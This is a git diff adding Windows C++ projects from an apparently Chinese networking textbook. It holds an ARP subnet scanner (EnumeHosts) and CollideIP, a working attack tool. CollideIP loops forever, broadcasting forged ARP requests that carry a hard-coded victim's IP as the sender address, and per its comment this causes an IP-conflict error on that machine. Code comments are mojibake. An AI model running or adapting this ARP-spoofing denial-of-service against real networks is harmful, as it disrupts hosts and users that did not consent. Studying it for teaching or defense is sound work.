0000000..8786349 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/CollideIP.vcproj" @@ -0,0 +1,292 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/EnumeHosts.cpp" "b/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/EnumeHosts.cpp" new file mode 100644 index 0000000..3b49e59 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/EnumeHosts.cpp" @@ -0,0 +1,140 @@ +//////////////////////////////////////////////// +// CollideIP.cppÎļþ + +#include "../common/initsock.h" + +#include +#include + +#include "protoutils.h" +#include "ProtoPacket.h" + +#include "Iphlpapi.h" +#pragma comment(lib, "Iphlpapi.lib") + + +DWORD WINAPI SendThread(LPVOID lpParam); +BOOL GetGlobalData(); + +///////////////////////////////////////// +// È«¾ÖÊý¾Ý +u_char g_ucLocalMac[6]; // ±¾µØMACµØÖ· +DWORD g_dwGatewayIP; // Íø¹ØIPµØÖ· +DWORD g_dwLocalIP; // ±¾µØIPµØÖ· +DWORD g_dwMask; // ×ÓÍøÑÚÂë + + +CInitSock theSock; + + + +void CollideTargetIP(CArpPacket *pArp, DWORD dwDestIP); + +int main() +{ + // »ñÈ¡È«¾ÖÊý¾Ý + GetGlobalData(); + // Æô¶¯·þÎñ + if(!ProtoStartService()) + { + printf(" ProtoStartService() failed %d \n", ::GetLastError()); + return -1; + } + // ´ò¿ª¿ØÖÆÉ豸¶ÔÏó + HANDLE hControlDevice = ProtoOpenControlDevice(); + if(hControlDevice == INVALID_HANDLE_VALUE) + { + printf(" ProtoOpenControlDevice() failed() %d \n", ::GetLastError()); + ProtoStopService(); + return -1; + } + // ö¾Ù°ó¶¨µÄϲãÊÊÅäÆ÷ + CPROTOAdapters adapters; + if(!adapters.EnumAdapters(hControlDevice)) + { + printf(" Enume adapter failed \n"); + ProtoStopService(); + return -1; + } + + //////////////////////////////////////////////////////////////////////// + // ÏÂÃ濪ʼ½øÐÐLANɨÃè + + CAdapter adapter; + // ĬÈÏʹÓõÚÒ»¸öÊÊÅäÆ÷ + if(!adapter.OpenAdapter(adapters.m_pwszSymbolicLink[0], TRUE)) + { + printf(" OpenAdapter failed \n"); + ProtoStopService(); + return -1; + } + + CArpPacket arp(&adapter); + CArpPacket *pArp = &arp; + +///////////////////////////////////////////////////////////////////////// + + // Ôì³É¶Ô·½IPµØÖ·³åÍ» + char szDestIP[] = "10.16.115.90"; + while(TRUE) + { + // pArpÊÇÒ»¸öÒѾ­³õʼ»¯µÄCArpPacket¶ÔÏóµÄÖ¸Õë + CollideTargetIP(pArp, ::inet_addr(szDestIP)); + ::Sleep(1000); + } + + ProtoStopService(); + return 0; +} + +void CollideTargetIP(CArpPacket *pArp, DWORD dwDestIP) +{ + // ÏòÄ¿µÄIP·¢ËÍÒ»¸öARPÇëÇó£¬ÈÃÕâ¸öARPÇëÇó°üÖеÄÔ´IPµØÖ·ÓëdwDestIPÒ»Ñù + // ±ã»áʹ¶Ô·½»úÆ÷³öÏÖ IPµØÖ·³åÍ» ϵͳ´íÎó¡£ + u_char destmacEther[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; + u_char destmacArp[6] = { 0 }; + + pArp->SendPacket(destmacEther, g_ucLocalMac, + ARPOP_REQUEST, destmacEther, dwDestIP, g_ucLocalMac, dwDestIP); +} + +BOOL GetGlobalData() +{ + PIP_ADAPTER_INFO pAdapterInfo = NULL; + ULONG ulLen = 0; + + // ΪÊÊÅäÆ÷½á¹¹ÉêÇëÄÚ´æ + ::GetAdaptersInfo(pAdapterInfo,&ulLen); + pAdapterInfo = (PIP_ADAPTER_INFO)::GlobalAlloc(GPTR, ulLen); + + // È¡µÃ±¾µØÊÊÅäÆ÷½á¹¹ÐÅÏ¢ + if(::GetAdaptersInfo(pAdapterInfo,&ulLen) == ERROR_SUCCESS) + { + if(pAdapterInfo != NULL) + { + memcpy(g_ucLocalMac, pAdapterInfo->Address, 6); + g_dwGatewayIP = ::inet_addr(pAdapterInfo->GatewayList.IpAddress.String); + g_dwLocalIP = ::inet_addr(pAdapterInfo->IpAddressList.IpAddress.String); + g_dwMask = ::inet_addr(pAdapterInfo->IpAddressList.IpMask.String); + } + } + ::GlobalFree(pAdapterInfo); + + printf(" \n -------------------- ±¾µØÖ÷»úÐÅÏ¢ -----------------------\n\n"); + in_addr in; + in.S_un.S_addr = g_dwLocalIP; + printf(" IP Address : %s \n", ::inet_ntoa(in)); + + in.S_un.S_addr = g_dwMask; + printf(" Subnet Mask : %s \n", ::inet_ntoa(in)); + + in.S_un.S_addr = g_dwGatewayIP; + printf(" Default Gateway : %s \n", ::inet_ntoa(in)); + + u_char *p = g_ucLocalMac; + printf(" MAC Address : %02X-%02X-%02X-%02X-%02X-%02X \n", p[0], p[1], p[2], p[3], p[4], p[5]); + + printf(" \n \n "); + + return TRUE; +} diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/ProtoPacket.cpp" "b/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/ProtoPacket.cpp" new file mode 100644 index 0000000..ad58b43 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/ProtoPacket.cpp" @@ -0,0 +1,116 @@ +//////////////////////////////////////////// +// ProtoPacket.cppÎļþ + +#include +#include +#include +#include "protoutils.h" +#include "ProtoPacket.h" + +CArpPacket::CArpPacket(CAdapter *pAdapter):m_pAdapter(pAdapter) +{ + // ÉèÖùýÂËÀàÐÍ + m_pAdapter->SetFilter( // NDIS_PACKET_TYPE_PROMISCUOUS| + NDIS_PACKET_TYPE_DIRECTED | NDIS_PACKET_TYPE_MULTICAST | NDIS_PACKET_TYPE_BROADCAST); + // ³õʼ»¯ÓÃÓÚÒì²½·¢ËͺͽÓÊÕÊý¾ÝµÄÖصþ½á¹¹ + memset(&m_olRead, 0, sizeof(m_olRead)); + m_olRead.hEvent = ::CreateEvent(NULL, FALSE, FALSE, NULL); + memset(&m_olWrite, 0, sizeof(m_olWrite)); + m_olWrite.hEvent = ::CreateEvent(NULL, FALSE, FALSE, NULL); +} + +CArpPacket::~CArpPacket() +{ + ::CloseHandle(m_olRead.hEvent); + ::CloseHandle(m_olWrite.hEvent); +} + +BOOL CArpPacket::SendPacket(u_char *pdEtherAddr, u_char *psEtherAddr, + int nOpcode, u_char *pdMac, DWORD dIPAddr, u_char *psMac, DWORD sIPAddr) +{ + // ·¢ËÍÕ껺³åÇø + u_char ucFrame[ARPFRAME_SIZE]; + + // ÉèÖÃEthernetÍ· + + ETHeader eh = { 0 }; + memcpy(eh.dhost, pdEtherAddr, 6); + memcpy(eh.shost, psEtherAddr, 6); + eh.type = ::htons(ETHERTYPE_ARP); + memcpy(ucFrame, &eh, sizeof(eh)); + + // ÉèÖÃArpÍ· + ARPHeader ah = { 0 }; + + ah.hrd = htons(ARPHRD_ETHER); + ah.eth_type = htons(ETHERTYPE_IP); + ah.maclen = 6; + ah.iplen = 4; + ah.opcode = htons(nOpcode); + + memcpy(ah.smac, psMac, 6); + memcpy(ah.saddr, &sIPAddr, 4); + memcpy(ah.dmac, pdMac, 6); + memcpy(ah.daddr, &dIPAddr, 4); + + + memcpy(&ucFrame[sizeof(ETHeader)], &ah, sizeof(ah)); + + // ·¢ËÍ + if(m_pAdapter->SendData(ucFrame, sizeof(ETHeader)+ sizeof(ARPHeader), &m_olWrite) == -1) + { + if(::GetLastError() == ERROR_IO_PENDING) + { + int nRet = ::WaitForSingleObject(m_olWrite.hEvent, 1000*60); + if(nRet == WAIT_FAILED || nRet == WAIT_TIMEOUT) + return FALSE; + } + } + return TRUE; +} + +PARPHeader CArpPacket::WaitReply(DWORD dwMillionSec) +{ + PETHeader pEtherh = (PETHeader)m_ucFrame; + PARPHeader pArph = NULL; + int nRecvLen = sizeof(ETHeader)+ sizeof(ARPHeader); + + // µÈ´ý½ÓÊÕARPÏìÓ¦ + DWORD dwTick = ::GetTickCount(); + DWORD dwOldTick = dwTick; + while(TRUE) + { + if(m_pAdapter->RecieveData(m_ucFrame, nRecvLen, &m_olRead) == -1) + { + if(::GetLastError() == ERROR_IO_PENDING) + { + int nRet = ::WaitForSingleObject(m_olRead.hEvent, dwMillionSec); + if(nRet == WAIT_FAILED || nRet == WAIT_TIMEOUT) + break; + } + else + { + break; + } + } + if(pEtherh->type == ::htons(ETHERTYPE_ARP)) + { + PARPHeader pTmpHdr = (PARPHeader)(pEtherh + 1); + if(pTmpHdr->opcode == ::htons(ARPOP_REPLY)) + { + // ½ÓÊÕµ½ARPÏìÓ¦£¬·µ»Ø + pArph = pTmpHdr; + break; + } + } + + dwOldTick = dwTick; + dwTick = ::GetTickCount(); + if(dwTick - dwOldTick >= dwMillionSec) // ³¬Ê±£¬·µ»Ø + break; + else + dwMillionSec = dwMillionSec - (dwTick - dwOldTick); + } + + return pArph; +} diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/ProtoPacket.h" "b/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/ProtoPacket.h" new file mode 100644 index 0000000..2d588a4 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/ProtoPacket.h" @@ -0,0 +1,28 @@ +//////////////////////////////////////////////// +// ProtoPacket.hÎļþ + +#ifndef __PROTOPACKET_H__ +#define __PROTOPACKET_H__ + +#include "../common/protoinfo.h" + +#define ARPFRAME_SIZE 100 +class CArpPacket +{ +public: + CArpPacket(CAdapter *pAdapter); + ~CArpPacket(); + // ·¢ËÍARP·â°ü + BOOL SendPacket(u_char *pdEtherAddr, u_char *psEtherAddr, + int nOpcode, u_char *pdMac, DWORD dIPAddr, u_char *psMac, DWORD sIPAddr); + // µÈ´ýARPÏìÓ¦ + PARPHeader WaitReply(DWORD dwMillionSec = 1000*2); + +protected: + CAdapter *m_pAdapter; + u_char m_ucFrame[ARPFRAME_SIZE]; + OVERLAPPED m_olRead; + OVERLAPPED m_olWrite; +}; + +#endif // __PROTOPACKET_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/_desktop.ini" "b/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/nuiouser.h" "b/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/nuiouser.h" new file mode 100644 index 0000000..90fb62a --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/nuiouser.h" @@ -0,0 +1,36 @@ +// nuiouser.hÎļþ +// ·ÃÎÊProtoDrvÇý¶¯ÐèÒªµÄ³£Á¿ºÍÀàÐÍ£¬Óû§³ÌÐò±ØÐë°üº¬ + + +//#include "ntddndis.h" + + +#ifndef __NUIOUSER__H +#define __NUIOUSER__H + +//#include + + + +#define MAX_LINK_NAME_LENGTH 124 + +typedef struct _PROTOCOL_OID_DATA // ÉèÖúͻñÈ¡ÊÊÅäÆ÷OIDÐÅÏ¢ËùÐèµÄ½á¹¹ +{ + + ULONG Oid; + ULONG Length; + UCHAR Data[1]; + +} PROTOCOL_OID_DATA, *PPROTOCOL_OID_DATA; + + +#define FILE_DEVICE_PROTOCOL 0x8000 + +// 4¸öIOCTLµÄ¹¦ÄÜ·Ö±ðÊÇ£ºÉèÖÃÊÊÅäÆ÷µÄOIDÐÅÏ¢£¬»ñÈ¡ÊÊÅäÆ÷µÄOIDÐÅÏ¢£¬ÖØÖÃÊÊÅäÆ÷£¬Ã¶¾Ù°ó¶¨µÄÊÊÅäÆ÷ +#define IOCTL_PROTOCOL_SET_OID CTL_CODE(FILE_DEVICE_PROTOCOL, 0 , METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_PROTOCOL_QUERY_OID CTL_CODE(FILE_DEVICE_PROTOCOL, 1 , METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_PROTOCOL_RESET CTL_CODE(FILE_DEVICE_PROTOCOL, 2 , METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_ENUM_ADAPTERS CTL_CODE(FILE_DEVICE_PROTOCOL, 3 , METHOD_BUFFERED, FILE_ANY_ACCESS) + + +#endif // __NUIOUSER__H \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/protoutils.cpp" "b/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/protoutils.cpp" new file mode 100644 index 0000000..0e55f5b --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/protoutils.cpp" @@ -0,0 +1,217 @@ +//////////////////////////////////// +// protoutils.cppÎļþ + + +#include +#include +#include +#include +#include +#include "protoutils.h" + + +///////////////////////////////////////////////////////////////// +// ¿ØÖƺ¯Êý + +BOOL ProtoStartService() +{ + BOOL bRet = FALSE; + SC_HANDLE hSCM = NULL, hService = NULL; + char szLinkName[] = "slNdisProt"; + + // ´ò¿ªSCM¹ÜÀíÆ÷ + hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if(hSCM != NULL) + { + hService = ::OpenService(hSCM, szLinkName, SERVICE_ALL_ACCESS); + if(hService != NULL) + { + if(!::StartService(hService, 0, NULL)) + { + int nError = ::GetLastError(); + if(nError == ERROR_SERVICE_ALREADY_RUNNING) + { + bRet = TRUE; + } + } + else + { + bRet = TRUE; + } + } + } + + if(hService != NULL) + ::CloseServiceHandle(hService); + if(hSCM != NULL) + ::CloseServiceHandle(hSCM); + + if(bRet) + ::Sleep(50); + return bRet; +} + +void ProtoStopService() +{ + SC_HANDLE hSCM = NULL, hService = NULL; + char szLinkName[] = "slNdisProt"; + + // ´ò¿ªSCM¹ÜÀíÆ÷ + hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if(hSCM != NULL) + { + hService = ::OpenService(hSCM, szLinkName, SERVICE_ALL_ACCESS); + if(hService != NULL) + { + // µÈ´ý·þÎñÍêÈ«Í£Ö¹ÔËÐÐ + SERVICE_STATUS ss; + ::ControlService(hService, SERVICE_CONTROL_STOP, &ss); + } + } + + if(hService != NULL) + ::CloseServiceHandle(hService); + if(hSCM != NULL) + ::CloseServiceHandle(hSCM); +} + +HANDLE ProtoOpenControlDevice() +{ + // ´ò¿ªÇý¶¯³ÌÐòËù¿ØÖÆÉ豸µÄ¾ä±ú + HANDLE hFile = ::CreateFile( + _T("\\\\.\\slNdisProt"), + GENERIC_READ | GENERIC_WRITE, + 0, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL); + + return hFile; +} + +BOOL CPROTOAdapters::EnumAdapters(HANDLE hControlDevice) +{ + DWORD dwBufferLength = sizeof(m_buffer); + BOOL bRet = ::DeviceIoControl(hControlDevice, IOCTL_ENUM_ADAPTERS, + NULL, 0, m_buffer, dwBufferLength, &dwBufferLength, NULL); + if(!bRet) + return FALSE; + + // ±£´æÊÊÅäÆ÷ÊýÁ¿ + m_nAdapters = (ULONG)((ULONG*)m_buffer)[0]; + + // ÏÂÃæ´Óm_bufferÖлñÈ¡ÊÊÅäÆ÷Ãû³ÆºÍ·ûºÅÁ¬½ÓÃû³Æ + // Ö¸ÏòÉ豸Ãû³Æ + WCHAR *pwsz = (WCHAR *)((ULONG *)m_buffer + 1); + int i = 0; + m_pwszAdapterName[i] = pwsz; + while(*(pwsz++) != NULL) + { + while(*(pwsz++) != NULL) + { ; } + + m_pwszSymbolicLink[i] = pwsz + 12; // pwsz Ö¸Ïò"\DosDevices\Packet_{}", ¼Ó12ÊÇΪÁËÈ¥µô"\DosDevices\" + + while(*(pwsz++) != NULL) + { ; } + + if(++i >= MAX_ADAPTERS) + break; + + m_pwszAdapterName[i] = pwsz; + } + + return TRUE; +} + +////////////////////////////////////////////////////////// + +CAdapter::CAdapter() +{ + m_hAdapter = INVALID_HANDLE_VALUE; +} + +CAdapter::~CAdapter() +{ + CloseAdapter(); +} + +BOOL CAdapter::OpenAdapter(LPCWSTR pwszSymbolicLink, BOOL bAsyn) +{ + char szFile[1024]; + wsprintf(szFile, _T("\\\\.\\%ws"), pwszSymbolicLink); + + // ´ò¿ªµ½Çý¶¯³ÌÐòËù¿ØÖÆÉ豸µÄ¾ä±ú + m_hAdapter = ::CreateFile(szFile, + GENERIC_READ | GENERIC_WRITE, + 0, + NULL, + OPEN_EXISTING, + bAsyn ? FILE_ATTRIBUTE_NORMAL|FILE_FLAG_OVERLAPPED : FILE_ATTRIBUTE_NORMAL, + NULL); + int n = ::GetLastError(); + return m_hAdapter != INVALID_HANDLE_VALUE; +} + +void CAdapter::CloseAdapter() +{ + if(m_hAdapter != INVALID_HANDLE_VALUE) + { + ::CloseHandle(m_hAdapter); + m_hAdapter = INVALID_HANDLE_VALUE; + } +} + +BOOL CAdapter::ProtoRequest(PPROTOCOL_OID_DATA pOidData, BOOL bQuery) +{ + if(m_hAdapter == INVALID_HANDLE_VALUE) + return FALSE; + DWORD dw; + BOOL bRet = ::DeviceIoControl( + m_hAdapter, bQuery ? IOCTL_PROTOCOL_QUERY_OID : IOCTL_PROTOCOL_SET_OID, + pOidData, sizeof(PROTOCOL_OID_DATA) -1 + pOidData->Length, + pOidData, sizeof(PROTOCOL_OID_DATA) -1 + pOidData->Length, &dw, NULL); + + return bRet; +} + +BOOL CAdapter::SetFilter(ULONG nFilters) +{ + PPROTOCOL_OID_DATA pOidData = (PPROTOCOL_OID_DATA) + ::GlobalAlloc(GPTR, (sizeof(PROTOCOL_OID_DATA) + sizeof(ULONG) - 1)); + + pOidData->Oid = OID_GEN_CURRENT_PACKET_FILTER; + pOidData->Length = sizeof(ULONG); + *((PULONG)pOidData->Data) = nFilters; + + BOOL bRet = ProtoRequest(pOidData, FALSE); + + ::GlobalFree(pOidData); + return bRet; +} + +BOOL CAdapter::ResetAdapter() +{ + DWORD dw; + BOOL bRet = ::DeviceIoControl(m_hAdapter, IOCTL_PROTOCOL_RESET, NULL, 0, NULL, 0, &dw, NULL); + return bRet; +} + +int CAdapter::RecieveData(PVOID pBuffer, int nLen, LPOVERLAPPED lpOverlapped) +{ + DWORD dwRead; + if(::ReadFile(m_hAdapter, pBuffer, nLen, &dwRead, lpOverlapped)) + return dwRead; + else + return -1; +} + +int CAdapter::SendData(PVOID pBuffer, int nLen, LPOVERLAPPED lpOverlapped) +{ + DWORD dwWrite; + if(::WriteFile(m_hAdapter, pBuffer, nLen, &dwWrite, lpOverlapped)) + return dwWrite; + else + return -1; +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/protoutils.h" "b/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/protoutils.h" new file mode 100644 index 0000000..9ebd102 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/protoutils.h" @@ -0,0 +1,66 @@ +//////////////////////////////////////////// +// protoutils.hÎļþ + + + + +#ifndef __PROTOUTILS_H__ +#define __PROTOUTILS_H__ + +#include "nuiouser.h" + +////////////////////////////////////// +// º¯Êý¶¨Òå + +BOOL ProtoStartService(); +void ProtoStopService(); +HANDLE ProtoOpenControlDevice(); + + +////////////////////////////////////// +// CPROTOAdaptersÀ࣬ö¾Ù°ó¶¨µÄÊÊÅäÆ÷ + +#define MAX_ADAPTERS 10 + +class CPROTOAdapters +{ +public: + BOOL EnumAdapters(HANDLE hControlDevice); + + int m_nAdapters; + LPWSTR m_pwszAdapterName[MAX_ADAPTERS]; + LPWSTR m_pwszSymbolicLink[MAX_ADAPTERS]; +protected: + char m_buffer[MAX_ADAPTERS*256]; +}; + +//////////////////////////////////////// +// CAdapterÀ࣬¹ÜÀí°ó¶¨µÄÊÊÅäÆ÷ + +class CAdapter +{ +public: + CAdapter(); + ~CAdapter(); + + // ´ò¿ª¡¢¹Ø±ÕÊÊÅäÆ÷ + BOOL OpenAdapter(LPCWSTR pwszSymbolicLink, BOOL bAsyn = FALSE); + void CloseAdapter(); + + // ÉèÖùýÂËÊôÐÔ£¬ÈçNDIS_PACKET_TYPE_PROMISCUOUS¡¢NDIS_PACKET_TYPE_DIRECTEDµÈ + BOOL SetFilter(ULONG nFilters); + + // ½ÓÊÕ¡¢·¢ËÍÊý¾Ý + int RecieveData(PVOID pBuffer, int nLen, LPOVERLAPPED lpOverlapped = NULL); + int SendData(PVOID pBuffer, int nLen, LPOVERLAPPED lpOverlapped = NULL); + + // ÖØÆôϲãNIC¡¢¹ÜÀíOIDÐÅÏ¢ + BOOL ResetAdapter(); + BOOL ProtoRequest(PPROTOCOL_OID_DATA pOidData, BOOL bQuery); + +protected: + HANDLE m_hAdapter; +}; + + +#endif // __PROTOUTILS_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/resource.h" "b/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/resource.h" new file mode 100644 index 0000000..be02bee --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/CollideIP/resource.h" @@ -0,0 +1,14 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ generated include file. +// Used by EnumeHosts.rc + +// жÔÏóµÄÏÂһЩĬÈÏÖµ +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 101 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1001 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/EnumeHosts.cpp" "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/EnumeHosts.cpp" new file mode 100644 index 0000000..41bc3ef --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/EnumeHosts.cpp" @@ -0,0 +1,181 @@ +//////////////////////////////////////////////// +// EnumeHosts.cppÎļþ + +#include "../common/initsock.h" + +#include +#include +#include + +#include "protoutils.h" +#include "ProtoPacket.h" + + +#pragma comment(lib, "Iphlpapi.lib") + + +DWORD WINAPI SendThread(LPVOID lpParam); +BOOL GetGlobalData(); + +///////////////////////////////////////// +// È«¾ÖÊý¾Ý +u_char g_ucLocalMac[6]; // ±¾µØMACµØÖ· +DWORD g_dwGatewayIP; // Íø¹ØIPµØÖ· +DWORD g_dwLocalIP; // ±¾µØIPµØÖ· +DWORD g_dwMask; // ×ÓÍøÑÚÂë + +CInitSock theSock; + +int main() +{ + // »ñÈ¡È«¾ÖÊý¾Ý + GetGlobalData(); + // Æô¶¯·þÎñ + if(!ProtoStartService()) + { + printf(" ProtoStartService() failed %d \n", ::GetLastError()); + return -1; + } + // ´ò¿ª¿ØÖÆÉ豸¶ÔÏó + HANDLE hControlDevice = ProtoOpenControlDevice(); + if(hControlDevice == INVALID_HANDLE_VALUE) + { + printf(" ProtoOpenControlDevice() failed() %d \n", ::GetLastError()); + ProtoStopService(); + return -1; + } + // ö¾Ù°ó¶¨µÄϲãÊÊÅäÆ÷ + CPROTOAdapters adapters; + if(!adapters.EnumAdapters(hControlDevice)) + { + printf(" Enume adapter failed \n"); + ProtoStopService(); + return -1; + } + + CAdapter adapter; + // ĬÈÏʹÓõÚÒ»¸öÊÊÅäÆ÷ + if(!adapter.OpenAdapter(adapters.m_pwszSymbolicLink[0], TRUE)) + { + printf(" OpenAdapter failed \n"); + ProtoStopService(); + return -1; + } + + CArpPacket arp(&adapter); + + //////////////////////////////////////////////////////////////////////// + // ÏÂÃ濪ʼ½øÐÐLANɨÃè + + // Ìṩµ±Ç°Ị̈߳¨½ÓÊÕÊý¾ÝµÄỊ̈߳©µÄÓÅÏȼ¶£¬±ÜÃⶪʧµ½À´µÄÊý¾ÝÕê + ::SetThreadPriority(::GetCurrentThread(), THREAD_PRIORITY_ABOVE_NORMAL); + // ´´½¨·¢ËÍỊ̈߳¬¿ªÊ¼·¢ËÍARPÇëÇó + ::CloseHandle(::CreateThread(NULL, 0, SendThread, &arp, 0, NULL)); + + // ½ÓÊÕARPÓ¦´ð + u_char *p; + PARPHeader pArph; + printf(" ¿ªÊ¼É¨ÃèLANÖеļÆËã»ú... \n"); + while(TRUE) + { + pArph = arp.WaitReply(); + if(pArph != NULL) + { + + printf(" \n ------------------------------------------- \n"); + + p = pArph->smac; + printf(" MacµØÖ·: %02X-%02X-%02X-%02X-%02X-%02X \n", p[0], p[1], p[2], p[3], p[4], p[5]); + p = (u_char*)&pArph->saddr; + printf(" IPµØÖ·: %d.%d.%d.%d \n ", p[0], p[1], p[2], p[3]); + // HOSTENT *pHost = ::gethostbyaddr((char*)&pArph->saddr, 4, AF_INET); + // if(pHost != NULL) + // printf(" Ö÷»úÃû: %s \n", pHost->h_name); + } + else + { + break; + } + } + printf("\n\n ɨÃèÍê±Ï \n"); + + ProtoStopService(); + + getchar(); + + return 0; +} + + +DWORD WINAPI SendThread(LPVOID lpParam) +{ + CArpPacket *pArp = (CArpPacket *)lpParam; + // È¡µÃLANÖÐIPµØÖ·¿Õ¼äµÄ´óС + DWORD dwMask = ::ntohl(g_dwMask); + int nMaxHosts = ~dwMask; + + // ÉèÖÃÒÔÌ«Í·ÖÐÄ¿±êMACµØÖ·¡£·¢ËÍARPÇëÇóʱ£¬Ó¦¸Ã½«ËüÉèΪ¹ã²¥µØÖ· + u_char destmacEther[6]; + memset(destmacEther, 0xff, 6); + // ARPÍ·ÖеÄÄ¿±êMACµØÖ· + u_char destmacArp[6] = { 0 }; + // ÏòµØÖ·¿Õ¼äÖеÄÿ¸öIPµØÖ··¢ËÍARPÇëÇó + DWORD dwTemp = ::ntohl(g_dwGatewayIP & g_dwMask) + 1; + for(int i=1; iSendPacket(destmacEther, g_ucLocalMac, ARPOP_REQUEST, + destmacArp, dwIP, g_ucLocalMac, g_dwLocalIP)) + { + printf(" SendPacket() failed \n"); + break; + } + } + } + return 0; +} + +BOOL GetGlobalData() +{ + PIP_ADAPTER_INFO pAdapterInfo = NULL; + ULONG ulLen = 0; + + // ΪÊÊÅäÆ÷½á¹¹ÉêÇëÄÚ´æ + ::GetAdaptersInfo(pAdapterInfo,&ulLen); + pAdapterInfo = (PIP_ADAPTER_INFO)::GlobalAlloc(GPTR, ulLen); + + // È¡µÃ±¾µØÊÊÅäÆ÷½á¹¹ÐÅÏ¢ + if(::GetAdaptersInfo(pAdapterInfo,&ulLen) == ERROR_SUCCESS) + { + if(pAdapterInfo != NULL) + { + memcpy(g_ucLocalMac, pAdapterInfo->Address, 6); + g_dwGatewayIP = ::inet_addr(pAdapterInfo->GatewayList.IpAddress.String); + g_dwLocalIP = ::inet_addr(pAdapterInfo->IpAddressList.IpAddress.String); + g_dwMask = ::inet_addr(pAdapterInfo->IpAddressList.IpMask.String); + } + } + ::GlobalFree(pAdapterInfo); + + printf(" \n -------------------- ±¾µØÖ÷»úÐÅÏ¢ -----------------------\n\n"); + in_addr in; + in.S_un.S_addr = g_dwLocalIP; + printf(" IP Address : %s \n", ::inet_ntoa(in)); + + in.S_un.S_addr = g_dwMask; + printf(" Subnet Mask : %s \n", ::inet_ntoa(in)); + + in.S_un.S_addr = g_dwGatewayIP; + printf(" Default Gateway : %s \n", ::inet_ntoa(in)); + + u_char *p = g_ucLocalMac; + printf(" MAC Address : %02X-%02X-%02X-%02X-%02X-%02X \n", p[0], p[1], p[2], p[3], p[4], p[5]); + + printf(" \n \n "); + + + + return TRUE; +} diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/EnumeHosts.rc" "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/EnumeHosts.rc" new file mode 100644 index 0000000..7f16060 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/EnumeHosts.rc" @@ -0,0 +1,61 @@ +// Microsoft Visual C++ Éú³ÉµÄ×ÊÔ´½Å±¾¡£ +// +#include "resource.h" + +#define APSTUDIO_READONLY_SYMBOLS +///////////////////////////////////////////////////////////////////////////// +// +// ´Ó TEXTINCLUDE 2 ×ÊÔ´Éú³É¡£ +// +#include "afxres.h" + +///////////////////////////////////////////////////////////////////////////// +#undef APSTUDIO_READONLY_SYMBOLS + +///////////////////////////////////////////////////////////////////////////// +// Ó¢Óï(ÃÀ¹ú)×ÊÔ´ + +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU) +LANGUAGE 4, 2 +#pragma code_page(936) + +#ifdef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// TEXTINCLUDE +// + +1 TEXTINCLUDE +BEGIN + "resource.h\0" +END + +2 TEXTINCLUDE +BEGIN + "#include ""afxres.h""\r\n" + "\0" +END + +3 TEXTINCLUDE +BEGIN + "\r\n" + "\0" +END + +#endif // APSTUDIO_INVOKED + +#endif // Ó¢Óï(ÃÀ¹ú)×ÊÔ´ +///////////////////////////////////////////////////////////////////////////// + + + +#ifndef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// ´Ó TEXTINCLUDE 3 ×ÊÔ´Éú³É¡£ +// + + +///////////////////////////////////////////////////////////////////////////// +#endif // ²»ÊÇ APSTUDIO_INVOKED + diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/EnumeHosts/EnumeHosts.sln" "b/Project/Network and 